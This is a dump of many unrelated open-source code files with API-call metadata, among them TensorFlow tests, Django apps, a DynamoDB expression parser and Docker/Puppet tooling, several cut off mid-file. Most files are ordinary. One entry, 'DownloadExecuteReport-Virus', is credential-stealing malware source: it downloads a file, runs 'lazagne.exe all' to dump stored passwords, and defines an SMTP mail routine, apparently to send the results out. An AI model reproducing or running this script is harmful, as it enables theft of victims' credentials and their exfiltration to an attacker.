Azure/aml-object-classification-pipeline | modules/evaluate/evaluate_step.py | f94e4327ebfb5534b52c5c70e82832a86c64a2d1 | import os
from azureml.pipeline.steps import PythonScriptStep
from azureml.core.runconfig import RunConfiguration
from azureml.core.conda_dependencies import CondaDependencies
from azureml.pipeline.core import PipelineData
from azureml.pipeline.core import PipelineParameter
from azureml.pipeline.steps import EstimatorS... | [((998, 1145), 'azureml.pipeline.core.PipelineData', 'PipelineData', ([], {'name': '"""accuracy_file"""', 'pipeline_output_name': '"""accuracy_file"""', 'datastore': 'test_dir.datastore', 'output_mode': '"""mount"""', 'is_directory': '(False)'}), "(name='accuracy_file', pipeline_output_name='accuracy_file',\n datast... |
yoxu515/CFBI | configs/mobilenet_cfbi.py | 0bab1e3c9fc3e3ba0629f716d60221e8f8d9d586 | import torch
import argparse
import os
import sys
import cv2
import time
class Configuration():
def __init__(self):
self.EXP_NAME = 'mobilenetv2_cfbi'
self.DIR_ROOT = './'
self.DIR_DATA = os.path.join(self.DIR_ROOT, 'datasets')
self.DIR_DAVIS = os.path.join(self.DIR_DATA, 'DAVIS'... | [((219, 258), 'os.path.join', 'os.path.join', (['self.DIR_ROOT', '"""datasets"""'], {}), "(self.DIR_ROOT, 'datasets')\n", (231, 258), False, 'import os\n'), ((285, 321), 'os.path.join', 'os.path.join', (['self.DIR_DATA', '"""DAVIS"""'], {}), "(self.DIR_DATA, 'DAVIS')\n", (297, 321), False, 'import os\n'), ((346, 386), ... |
kennytilton/ConnectJS | js/matrixjs/matrix_compile.py | a16121052839b6f447718dccb008761d92094885 | #!/usr/bin/python2.4
import httplib, urllib, sys
# Define the parameters for the POST request and encode them in
# a URL-safe format.
params = urllib.urlencode([
#('js_code', sys.argv[1]),
('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Cells.js'),
('code... | [] |
npow/tensorflow | tensorflow/python/util/tf_should_use_test.py | 99ae68bba52bb6338af06f37bb104128d7af6fb4 | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [((4539, 4550), 'tensorflow.python.platform.test.main', 'test.main', ([], {}), '()\n', (4548, 4550), False, 'from tensorflow.python.platform import test\n'), ((1240, 1297), 'tensorflow.python.platform.test.mock.patch.object', 'test.mock.patch.object', (['tf_should_use.tf_logging', '"""error"""'], {}), "(tf_should_use.t... |
loongarch64/bazel | tools/jdk/local_java_repository.bzl | 44c30aceec076a0c25f506508704df0b9aeb6578 | # Copyright 2020 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | [] |
SEL-Columbia/commcare-hq | corehq/apps/fixtures/resources/v0_1.py | 992ee34a679c37f063f86200e6df5a197d5e3ff6 | from couchdbkit import ResourceNotFound
from tastypie import fields as tp_f
from corehq.apps.api.resources import JsonResource
from corehq.apps.api.resources.v0_1 import (
CustomResourceMeta,
RequirePermissionAuthentication,
)
from corehq.apps.api.util import get_object_or_not_exist
from corehq.apps.fixtures.mo... | [((674, 763), 'tastypie.fields.DictField', 'tp_f.DictField', ([], {'attribute': '"""try_fields_without_attributes"""', 'readonly': '(True)', 'unique': '(True)'}), "(attribute='try_fields_without_attributes', readonly=True,\n unique=True)\n", (688, 763), True, 'from tastypie import fields as tp_f\n'), ((872, 938), 't... |
broadinstitute/cert_manager_api | tests/test_domain.py | 3a9c3445ff32ecd29ab47e7a049c47155b72614a | # -*- coding: utf-8 -*-
"""Define the cert_manager.domain.Domain unit tests."""
# Don't warn about things that happen as that is part of unit testing
# pylint: disable=protected-access
# pylint: disable=no-member
import json
from requests.exceptions import HTTPError
from testtools import TestCase
import responses
f... | [((1842, 1917), 'responses.add', 'responses.add', (['responses.GET', 'api_url'], {'json': 'self.valid_response', 'status': '(200)'}), '(responses.GET, api_url, json=self.valid_response, status=200)\n', (1855, 1917), False, 'import responses\n'), ((1936, 1983), 'cert_manager.domain.Domain', 'Domain', ([], {'client': 'se... |
ProtKsen/pgame | texts.py | c4455c6c07eaf275f9fcfa661cd6933ee7b1ff92 | """Text parts."""
SEPARATOR = '----------------------------------'
CONT_GAME = 'enter для продолжения игры'
GREETING = 'Добро пожаловать в игру ''Сундук сокровищ''!\n' \
'Попробуй себя в роли капитана корабля, собери ' \
'команду и достань все сокровища!'
NAME_QUESTION = 'Как тебя зовут?'
CHOO... | [] |
alerin345/Instagram-React | api/migrations/0001_initial.py | 25dfbcbff2a2d050e4f2804a74cd7c901cd2cb66 | # Generated by Django 3.1.3 on 2021-01-07 00:42
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUT... | [((276, 333), 'django.db.migrations.swappable_dependency', 'migrations.swappable_dependency', (['settings.AUTH_USER_MODEL'], {}), '(settings.AUTH_USER_MODEL)\n', (307, 333), False, 'from django.db import migrations, models\n'), ((3313, 3402), 'django.db.models.UniqueConstraint', 'models.UniqueConstraint', ([], {'fields... |
KiraPC/fastapi-router-controller | fastapi_router_controller/lib/controller_loader.py | e105701ebce2e03a0e00ac182c10941daf1b7e22 | import os
import importlib
class ControllerLoader:
"""
The ControllerLoader class.
"""
@staticmethod
def load(directory, package):
"""
It is an utility to load automatically all the python
module presents on a given directory
"""
for module in os.listdir(di... | [((307, 328), 'os.listdir', 'os.listdir', (['directory'], {}), '(directory)\n', (317, 328), False, 'import os\n'), ((392, 414), 'os.path.isdir', 'os.path.isdir', (['sub_dir'], {}), '(sub_dir)\n', (405, 414), False, 'import os\n'), ((693, 736), 'importlib.import_module', 'importlib.import_module', (['module_import_name'... |
VikrantReddy/Instagram2Shop | app/mod_ecomm/controllers.py | 8d9c3f39d277fafb56d10a87a1b62a6df8a74237 | from flask import Blueprint, Flask, send_from_directory
from werkzeug.security import check_password_hash, generate_password_hash
from app import db
from app.mod_auth.forms import LoginForm
from app.mod_auth.models import User
mod_ecomm = Blueprint('products', __name__, url_prefix='/products',
... | [((248, 346), 'flask.Blueprint', 'Blueprint', (['"""products"""', '__name__'], {'url_prefix': '"""/products"""', 'static_folder': '"""../../frontend/build"""'}), "('products', __name__, url_prefix='/products', static_folder=\n '../../frontend/build')\n", (257, 346), False, 'from flask import Blueprint, Flask, send_f... |
phillmac/dagr_selenium | dagr_selenium/crawl_watchlist.py | b7417a878fe4c171625a40e746113ae2c0222335 | from .functions import monitor_watchlist_action, manager
with manager.get_dagr():
monitor_watchlist_action()
| [] |
uktrade/zenslackchat | zenslackchat/eventsview.py | 8071757e1ea20a433783c6a7c47f25b046692682 | import pprint
import logging
from django.conf import settings
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.response import Response
from zenslackchat.message import handler
from zenslackchat.models import SlackApp
from zenslackchat.models import ZendeskApp
class Eve... | [((1240, 1267), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (1257, 1267), False, 'import logging\n'), ((2703, 2738), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_200_OK'}), '(status=status.HTTP_200_OK)\n', (2711, 2738), False, 'from rest_framework.respon... |
opnfv/cirv-sdv | sdv/docker/sdvstate/internal/validator/airship/compute_check.py | 31fb310d3fd1c9c1f12cfe0c654870e24f5efab6 | # Copyright 2020 University Of Delhi.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wr... | [((917, 944), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (934, 944), False, 'import logging\n'), ((1425, 1453), 'internal.store_result', 'store_result', (['logger', 'result'], {}), '(logger, result)\n', (1437, 1453), False, 'from internal import store_result\n'), ((1565, 1592), 'loggi... |
juhnowski/FishingRod | production/pygsl-0.9.5/testing/__init__.py | 457e7afb5cab424296dff95e1acf10ebf70d32a9 | """
Here you find either new implemented modules or alternate implementations
of already modules. This directory is intended to have a second implementation
beside the main implementation to have a discussion which implementation to
favor on the long run.
"""
| [] |
Cyberlightning/2D-3DCapture | PythonServer/UnitTestCasesForWebSocket.py | e5fdcec4f25358fc1964068180e4e774f45daa8a | '''
Created on Mar 6, 2014
@author: tharanga
'''
import unittest
from time import sleep
import EventService as es
from EventService import WebSocketServer as ws
from EventService import EventManager as em
import socket
from base64 import b64encode
import struct
import MySQLdb
import json
import EventService
import fl... | [] |
JulianSobott/OpenDrive | src/tests/client_side/test_main.py | 0593c994c3bccccc4351557c42d13f3535b6b6c1 | import os
import threading
import time
import unittest
from OpenDrive.client_side import file_changes_json as c_json
from OpenDrive.client_side import interface
from OpenDrive.client_side import main
from OpenDrive.client_side import paths as client_paths
from OpenDrive.server_side import paths as server_paths
from te... | [((1007, 1044), 'tests.helper_all.h_client_routine', 'h_client_routine', ([], {'clear_folders': '(False)'}), '(clear_folders=False)\n', (1023, 1044), False, 'from tests.helper_all import h_client_routine, h_start_server_process, h_stop_server_process, h_clear_init_all_folders, h_create_empty\n'), ((609, 635), 'tests.he... |
oz90210/Pyto | site-packages/skimage/io/tests/test_io.py | 59f185149b71e57e5debeb1c9a61a28739e81720 | import os
import numpy as np
from skimage import io, data_dir
from skimage._shared import testing
from skimage._shared.testing import assert_array_equal
one_by_one_jpeg = (
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01'
b'\x00\x01\x00\x00\xff\xdb\x00C\x00\x03\x02\x02\x02\x02'
b'\x02\x03\x02\x02... | [((931, 941), 'skimage.io.push', 'io.push', (['x'], {}), '(x)\n', (938, 941), False, 'from skimage import io, data_dir\n'), ((1192, 1220), 'skimage.data_dir.lstrip', 'data_dir.lstrip', (['os.path.sep'], {}), '(os.path.sep)\n', (1207, 1220), False, 'from skimage import io, data_dir\n'), ((1344, 1364), 'skimage.io.imread... |
EmilioCC/gti770-student-framework | tests/core/feature_extraction/test_galaxyProcessor.py | 3cd72da8fe78c7ecfc26c9e688cbe1b7deee353a | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import numpy as np
from unittest import TestCase
from core.feature_extraction.galaxy.galaxy_processor import GalaxyProcessor
from commons.helpers.dataset.strategies.galaxy_dataset.label_strategy import GalaxyDataSetLabelStrategy
from commons.helpers.dataset.conte... | [((761, 789), 'commons.helpers.dataset.strategies.galaxy_dataset.label_strategy.GalaxyDataSetLabelStrategy', 'GalaxyDataSetLabelStrategy', ([], {}), '()\n', (787, 789), False, 'from commons.helpers.dataset.strategies.galaxy_dataset.label_strategy import GalaxyDataSetLabelStrategy\n'), ((878, 917), 'commons.helpers.data... |
okchaty/django-country | country/management/commands/populate_countries.py | 740bc25956dc1b87f44486538a62037e0bd0ac94 | from django.conf import settings
from django.core.management import call_command
from django.core.management.base import BaseCommand
from os import path
class Command(BaseCommand):
help = "Populates data"
def handle(self, *args, **options):
fixture_path = path.join(path.dirname(
path.dirn... | [((510, 558), 'django.core.management.call_command', 'call_command', (['"""loaddata"""', '"""country"""'], {'verbosity': '(1)'}), "('loaddata', 'country', verbosity=1)\n", (522, 558), False, 'from django.core.management import call_command\n'), ((375, 397), 'os.path.abspath', 'path.abspath', (['__file__'], {}), '(__fil... |
chrisiacovella/gmso | gmso/formats/formats_registry.py | c78e2425ccb98ea952f024a569346d36045f6918 | """Registry utilities to handle formats for gmso Topology."""
class UnsupportedFileFormatError(Exception):
"""Exception to be raised whenever the file loading or saving is not supported."""
class Registry:
"""A registry to incorporate a callable with a file extension."""
def __init__(self):
sel... | [] |
Staist/Python-Text-Formatter | formatter.py | 6ae865d45301906eaa133551301dc785602f5b38 | dosyaadi = input("Enter file name: ")
dosyaadi = str(dosyaadi + ".txt")
with open(dosyaadi, 'r') as file :
dosyaicerigi = file.read()
silinecek = str(input("Enter the text that you wish to delete: "))
dosyaicerigi = dosyaicerigi.replace(silinecek, '')
with open(dosyaadi, 'w') as file:
file.write(dosyai... | [] |
salvacarrion/mltests | covid19/classification/helpers.py | e4ac9711c1c80171f302edc88011fbe06e754490 | import tensorflow as tf
@tf.function
def BinaryAccuracy_Infiltrates(y_true, y_pred, i=0):
return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i])
@tf.function
def BinaryAccuracy_Pneumonia(y_true, y_pred, i=1):
return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i])
@tf.function
def... | [((103, 167), 'tensorflow.keras.metrics.binary_accuracy', 'tf.keras.metrics.binary_accuracy', (['y_true[:, (i)]', 'y_pred[:, (i)]'], {}), '(y_true[:, (i)], y_pred[:, (i)])\n', (135, 167), True, 'import tensorflow as tf\n'), ((241, 305), 'tensorflow.keras.metrics.binary_accuracy', 'tf.keras.metrics.binary_accuracy', (['... |
mikoim/funstuff | null/twitter/twmedia-dl.py | 3c391c76784a4bb37983c1a251773bfa61182ce1 | import re
import json
import time
import sys
import httplib2
from twitter import *
import magic
class TwitterMediaDL:
http = httplib2.Http(".cache")
baseUrl = "https://twitter.com"
consumer_key = ""
consumer_secret = ""
access_token_key = ""
access_token_secret = ""
t = Twitter(auth=OAu... | [((132, 155), 'httplib2.Http', 'httplib2.Http', (['""".cache"""'], {}), "('.cache')\n", (145, 155), False, 'import httplib2\n'), ((1599, 1664), 're.findall', 're.findall', (['"""twitter.com/(.+)/status/([0-9]+)"""', "res['items_html']"], {}), "('twitter.com/(.+)/status/([0-9]+)', res['items_html'])\n", (1609, 1664), Fa... |
DEVESHTARASIA/tensorflow | tensorflow/contrib/metrics/__init__.py | d3edb8c60ed4fd831d62833ed22f5c23486c561c | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [((6155, 6184), 'tensorflow.python.util.all_util.remove_undocumented', 'remove_undocumented', (['__name__'], {}), '(__name__)\n', (6174, 6184), False, 'from tensorflow.python.util.all_util import remove_undocumented\n')] |
scottwittenburg/girder | girder/models/group.py | a5062badc97bf2a87a385648f2ff3f9ff1990a75 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################
# Copyright 2013 Kitware Inc.
#
# Licensed under the Apache License, Version 2.0 ( the "License" );
# you may not use this file except in compliance with the License.
# You may obtain a cop... | [((8645, 8668), 'datetime.datetime.now', 'datetime.datetime.now', ([], {}), '()\n', (8666, 8668), False, 'import datetime\n')] |
mail2nsrajesh/tripleo-heat-templates | docker/docker-puppet.py | 368b3eadda577f9914d181893df2df96367e8fad | #!/usr/bin/env python
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | [] |
acitv/plugin.video.aci | main.py | c836096c90affd80949e51cd24517709a63eff52 | # -*- coding: utf-8 -*-
import sys
import urllib
import urlparse
# import xbmc
import xbmcgui
import xbmcplugin
import aci
# Get the plugin url in plugin:// notation.
_url = sys.argv[0]
# Get the plugin handle as an integer number.
_handle = int(sys.argv[1])
# Get an instance of ACI.
ATV = aci.ACI()
ATV.load_aci()... | [((296, 305), 'aci.ACI', 'aci.ACI', ([], {}), '()\n', (303, 305), False, 'import aci\n'), ((382, 563), 'urllib.urlencode', 'urllib.urlencode', (["{'User-Agent':\n 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 FirePHP/0.7.4'\n , 'X-Requested-With': 'ShockwaveFlash/22.0.0.192'}"], {}), ... |
VadimLevin/coremltools | coremltools/converters/mil/frontend/tensorflow/converter.py | 66c17b0fa040a0d8088d33590ab5c355478a9e5c | # Copyright (c) 2020, Apple Inc. All rights reserved.
#
# Use of this source code is governed by a BSD-3-clause license that can be
# found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause
import logging
from coremltools.converters.mil.input_types import (
InputType,
TensorType,
... | [((16470, 16479), 'coremltools.converters.mil.mil.Program', 'Program', ([], {}), '()\n', (16477, 16479), False, 'from coremltools.converters.mil.mil import Program\n'), ((2884, 2911), 'logging.info', 'logging.info', (['(msg % tf_name)'], {}), '(msg % tf_name)\n', (2896, 2911), False, 'import logging\n'), ((13213, 13284... |
clayball/pylinkcheck | pylinkcheck.py | 085e5562525bebc77b8ebfd3b0fb676b01f4be68 | #!/usr/bin/env python
# Copyright (c) 2016 Clay Wells
#
# A Python-based link checker.
#
# Usage: pylinkcheck.py -r https://www.example.com
#
# By default, we can spider and check all of the links found at the URL's
# domain. For example, a check of https://foo.example.com will only check
# links with the base URL ... | [] |
orenmazor/moto | moto/dynamodb2/parsing/expressions.py | 4778377e8ecaf729d26602a2c5202b72c1438503 | import logging
from abc import abstractmethod
import abc
import six
from collections import deque
from moto.dynamodb2.parsing.ast_nodes import (
UpdateExpression,
UpdateExpressionSetClause,
UpdateExpressionSetActions,
UpdateExpressionSetAction,
UpdateExpressionRemoveActions,
UpdateExpressionRem... | [((4291, 4321), 'six.add_metaclass', 'six.add_metaclass', (['abc.ABCMeta'], {}), '(abc.ABCMeta)\n', (4308, 4321), False, 'import six\n'), ((32538, 32568), 'six.add_metaclass', 'six.add_metaclass', (['abc.ABCMeta'], {}), '(abc.ABCMeta)\n', (32555, 32568), False, 'import six\n'), ((1743, 1750), 'collections.deque', 'dequ... |
molssi-seamm/dftbplus_step | dftbplus_step/tk_optimization.py | e5b9c7462d92c25fc6f27db5e4324b05bb42e224 | # -*- coding: utf-8 -*-
"""The graphical part of a DFTB+ Optimization node"""
import logging
import tkinter as tk
import tkinter.ttk as ttk
import dftbplus_step
logger = logging.getLogger(__name__)
class TkOptimization(dftbplus_step.TkEnergy):
def __init__(
self,
tk_flowchart=None,
nod... | [((174, 201), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (191, 201), False, 'import logging\n'), ((1550, 1677), 'tkinter.ttk.LabelFrame', 'ttk.LabelFrame', (["self['frame']"], {'borderwidth': '(4)', 'relief': '"""sunken"""', 'text': '"""Optimization Parameters"""', 'labelanchor': '"""... |
aplneto/redes_projeto | console.py | 450ef8ac61e46bc38ff34142d07eda3d726ce326 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Módulo de configuração dos consoles
"""
from Crypto.PublicKey import RSA
import socket
import os
import base64
class Console(object):
"""Superclasse Console
Classe base para os terminais de cliente e servidor.
Attributes:
... | [((2644, 2660), 'Crypto.PublicKey.RSA.importKey', 'RSA.importKey', (['k'], {}), '(k)\n', (2657, 2660), False, 'from Crypto.PublicKey import RSA\n'), ((4155, 4179), 'base64.a85encode', 'base64.a85encode', (['msg[0]'], {}), '(msg[0])\n', (4171, 4179), False, 'import base64\n'), ((4485, 4506), 'base64.a85decode', 'base64.... |
OmenApps/marion | sandbox/settings.py | f501674cafbd91f0bbad7454e4dcf3527cf4445e | """
Django settings for marion project.
"""
from pathlib import Path
from tempfile import mkdtemp
from configurations import Configuration, values
BASE_DIR = Path(__file__).parent.resolve()
DATA_DIR = Path("/data")
# pylint: disable=no-init
class Base(Configuration):
"""
This is the base configuration ever... | [((204, 217), 'pathlib.Path', 'Path', (['"""/data"""'], {}), "('/data')\n", (208, 217), False, 'from pathlib import Path\n'), ((909, 927), 'configurations.values.Value', 'values.Value', (['None'], {}), '(None)\n', (921, 927), False, 'from configurations import Configuration, values\n'), ((4944, 4953), 'tempfile.mkdtemp... |
cooolr/skywalking-python | skywalking/client/grpc.py | 42176ff4b732000f2a75eac1affee2a681379df7 | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | [((1819, 1849), 'skywalking.protocol.management.Management_pb2_grpc.ManagementServiceStub', 'ManagementServiceStub', (['channel'], {}), '(channel)\n', (1840, 1849), False, 'from skywalking.protocol.management.Management_pb2_grpc import ManagementServiceStub\n'), ((2179, 2277), 'skywalking.loggings.logger.debug', 'logge... |
glitzybunny/coingate_sandbox_payment | coingate/migrations/0004_auto_20200207_1959.py | f5686964cdd6b7d65f9f37957da4b2cda6a02f63 | # Generated by Django 3.0.3 on 2020-02-07 19:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('coingate', '0003_auto_20200207_1513'),
]
operations = [
migrations.RemoveField(
model_name='payment',
name='token',
... | [((236, 294), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""payment"""', 'name': '"""token"""'}), "(model_name='payment', name='token')\n", (258, 294), False, 'from django.db import migrations, models\n'), ((442, 485), 'django.db.models.DateTimeField', 'models.DateTimeField', ([]... |
SpaceTeam/space-event-trace | space_trace/__init__.py | ec00d6895e0bdc2a046ec2d45143d6f8d47ace6f | import toml
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__, instance_relative_config=True)
app.config.from_file("config.toml", load=toml.load)
db = SQLAlchemy(app)
@app.before_first_request
def create_table():
db.create_all()
from space_trace import views, cli
| [((84, 130), 'flask.Flask', 'Flask', (['__name__'], {'instance_relative_config': '(True)'}), '(__name__, instance_relative_config=True)\n', (89, 130), False, 'from flask import Flask\n'), ((188, 203), 'flask_sqlalchemy.SQLAlchemy', 'SQLAlchemy', (['app'], {}), '(app)\n', (198, 203), False, 'from flask_sqlalchemy import... |
forons/noise-generator | ng/distributions/Distribution.py | 033906165adaf6e620c03bf0b91f19b6d9890cf0 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from enum import Enum
from .NormalDist import NormalDist
from .UniformDist import UniformDist
class Distribution(Enum):
UNIFORM = 0
GAUSSIAN = 1
POISSON = 2
@staticmethod
def determine_distribution(distribution, distribution_params):
... | [] |
Riteme/test | test/rename.py | b511d6616a25f4ae8c3861e2029789b8ee4dcb8d | import os
import sys
filename = sys.argv[1]
from_id = int(sys.argv[2])
to_id = int(sys.argv[2])
for i in range(from_id, to_id + 1):
sys.system("mv {0}.in{1} {0}{1}.in".format(filename, i))
sys.system("mv {0}.out{1} {0}{1}.out".format(filename, i))
| [] |
Savior-19/Savior19 | TransitPass/urls.py | b80c05a19ebadf73c3d88656b7c34b761cb02f3c | from django.urls import path
from . import views
urlpatterns = [
path('apply/', views.FillPassApplication, name='transit-pass-application-form'),
path('application-details/<int:appln_id>', views.DisplayApplicationToken, name='application-details'),
path('view-application-list/', views.DisplayApplication... | [((71, 150), 'django.urls.path', 'path', (['"""apply/"""', 'views.FillPassApplication'], {'name': '"""transit-pass-application-form"""'}), "('apply/', views.FillPassApplication, name='transit-pass-application-form')\n", (75, 150), False, 'from django.urls import path\n'), ((157, 262), 'django.urls.path', 'path', (['"""... |
kozo2/dash-docs | dash_docs/chapters/dash_core_components/Textarea/examples/textarea_basic.py | 5140cfd1fda439233e8b95e2443332a32a2453f5 | import dash
from dash.dependencies import Input, Output
import dash_html_components as html
import dash_core_components as dcc
app = dash.Dash(__name__)
app.layout = html.Div([
dcc.Textarea(
id='textarea-example',
value='Textarea content initialized\nwith multiple lines of text',
style={'w... | [((134, 153), 'dash.Dash', 'dash.Dash', (['__name__'], {}), '(__name__)\n', (143, 153), False, 'import dash\n'), ((458, 503), 'dash.dependencies.Output', 'Output', (['"""textarea-example-output"""', '"""children"""'], {}), "('textarea-example-output', 'children')\n", (464, 503), False, 'from dash.dependencies import In... |
balexander85/wrapped_driver | tests/test_wrapped_driver.py | 2b5d5f13a8cbf52a3ed5fc4b21bf9ea282d3b7a1 | import pytest
from selenium.common.exceptions import WebDriverException
from wrapped_driver import WrappedDriver
def test_empty_chromedriver_path():
"""Assert error is raised if no chromedriver path is used"""
with pytest.raises(WebDriverException):
WrappedDriver(executable_path="", headless=True)
... | [((226, 259), 'pytest.raises', 'pytest.raises', (['WebDriverException'], {}), '(WebDriverException)\n', (239, 259), False, 'import pytest\n'), ((269, 317), 'wrapped_driver.WrappedDriver', 'WrappedDriver', ([], {'executable_path': '""""""', 'headless': '(True)'}), "(executable_path='', headless=True)\n", (282, 317), Fal... |
ggs134/py-evm | eth/vm/forks/petersburg/blocks.py | 5ad87356181b03c14a2452131f50fe8762127c84 | from rlp.sedes import (
CountableList,
)
from eth.rlp.headers import (
BlockHeader,
)
from eth.vm.forks.byzantium.blocks import (
ByzantiumBlock,
)
from .transactions import (
PetersburgTransaction,
)
class PetersburgBlock(ByzantiumBlock):
transaction_builder = PetersburgTransaction
fields = ... | [((380, 414), 'rlp.sedes.CountableList', 'CountableList', (['transaction_builder'], {}), '(transaction_builder)\n', (393, 414), False, 'from rlp.sedes import CountableList\n'), ((436, 462), 'rlp.sedes.CountableList', 'CountableList', (['BlockHeader'], {}), '(BlockHeader)\n', (449, 462), False, 'from rlp.sedes import Co... |
crnbaker/MONAI | tests/runner.py | a4b1144efdc27b197410033ae08bd587c8a1634a | # Copyright 2020 MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, s... | [((2371, 2449), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Runner for MONAI unittests with timing."""'}), "(description='Runner for MONAI unittests with timing.')\n", (2394, 2449), False, 'import argparse\n'), ((3704, 3738), 'inspect.signature', 'inspect.signature', (['loader.discove... |
arnoyu-hub/COMP0016miemie | venv/Lib/site-packages/pandas/core/array_algos/transforms.py | 59af664dcf190eab4f93cefb8471908717415fea | """
transforms.py is for shape-preserving functions.
"""
import numpy as np
def shift(values: np.ndarray, periods: int, axis: int, fill_value) -> np.ndarray:
new_values = values
if periods == 0 or values.size == 0:
return new_values.copy()
# make sure array sent to np.roll is c_con... | [((564, 580), 'numpy.intp', 'np.intp', (['periods'], {}), '(periods)\n', (571, 580), True, 'import numpy as np\n')] |
Stanislav-Rybonka/studentsdb | students/models/group.py | efb1440db4ec640868342a5f74cd48784268781f | from __future__ import unicode_literals
from django.db import models
from django.utils.translation import ugettext as _
class Group(models.Model):
"""
Group model
"""
title = models.CharField(max_length=256, blank=False, verbose_name=_('Name'))
leader = models.OneToOneField(
'Student', v... | [((522, 532), 'django.utils.translation.ugettext', '_', (['"""Group"""'], {}), "('Group')\n", (523, 532), True, 'from django.utils.translation import ugettext as _\n'), ((563, 574), 'django.utils.translation.ugettext', '_', (['"""Groups"""'], {}), "('Groups')\n", (564, 574), True, 'from django.utils.translation import ... |
pinikeizman/python-sdk | frontegg/baseConfig/identity_mixin.py | f8b2188bdf160408adf0068f2e3bd3cd4b0b4655 | from abc import ABCMeta, abstractmethod
from frontegg.helpers.frontegg_urls import frontegg_urls
import typing
import jwt
import requests
from frontegg.helpers.logger import logger
from jwt import InvalidTokenError
class IdentityClientMixin(metaclass=ABCMeta):
__publicKey = None
@property
@abstractmethod... | [((681, 752), 'frontegg.helpers.logger.logger.info', 'logger.info', (['"""could not find public key locally, will fetch public key"""'], {}), "('could not find public key locally, will fetch public key')\n", (692, 752), False, 'from frontegg.helpers.logger import logger\n'), ((1134, 1189), 'frontegg.helpers.logger.logg... |
ianlee4/splunk-cloud-sdk-python | splunk_sdk/action/v1beta2/gen_action_service_api.py | d2870cd1e506d3844869d17becdcdf9d8d60a9a1 | # coding: utf-8
# Copyright © 2021 Splunk, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"): you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# [http://www.apache.org/licenses/LICENSE-2.0]
#
# Unless required by applicable law or agre... | [((2542, 2575), 'splunk_sdk.base_client.handle_response', 'handle_response', (['response', 'Action'], {}), '(response, Action)\n', (2557, 2575), False, 'from splunk_sdk.base_client import handle_response\n'), ((3100, 3125), 'splunk_sdk.base_client.handle_response', 'handle_response', (['response'], {}), '(response)\n',... |
zgoda/brewlog | src/brewlog/home/__init__.py | 13a930b328f81d01a2be9aca07d3b14703b80faa | from flask import Blueprint
home_bp = Blueprint('home', __name__)
from . import views # noqa
| [((40, 67), 'flask.Blueprint', 'Blueprint', (['"""home"""', '__name__'], {}), "('home', __name__)\n", (49, 67), False, 'from flask import Blueprint\n')] |
TheRavehorn/DownloadExecuteReport-Virus | main.py | 9df26706e504d1df33e07c09fa56baa28d89f435 | #!/usr/bin/env python3
import requests
import subprocess
import smtplib
import re
import os
import tempfile
def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as f:
f.write(get_response.content)
def send_mail(email, password, message):
... | [((500, 521), 'tempfile.gettempdir', 'tempfile.gettempdir', ([], {}), '()\n', (519, 521), False, 'import tempfile\n'), ((522, 540), 'os.chdir', 'os.chdir', (['temp_dir'], {}), '(temp_dir)\n', (530, 540), False, 'import os\n'), ((649, 703), 'subprocess.check_output', 'subprocess.check_output', (['"""lazagne.exe all"""']... |
Kreastr/SmartAPI-HEILA | SmartAPI/rdf/LinkedList.py | 97dbe9e6e27267c60a4f94f60692d5f391e2ef7f | from SmartAPI.rdf.List import List
class LinkedList(List):
def __init__(self):
List.__init__(self)
| [((93, 112), 'SmartAPI.rdf.List.List.__init__', 'List.__init__', (['self'], {}), '(self)\n', (106, 112), False, 'from SmartAPI.rdf.List import List\n')] |
dreamhaven/Frog | frog/views/gallery.py | 66e50610d5059aa371e0a50b65ceddd4813b2bc1 | ##################################################################################################
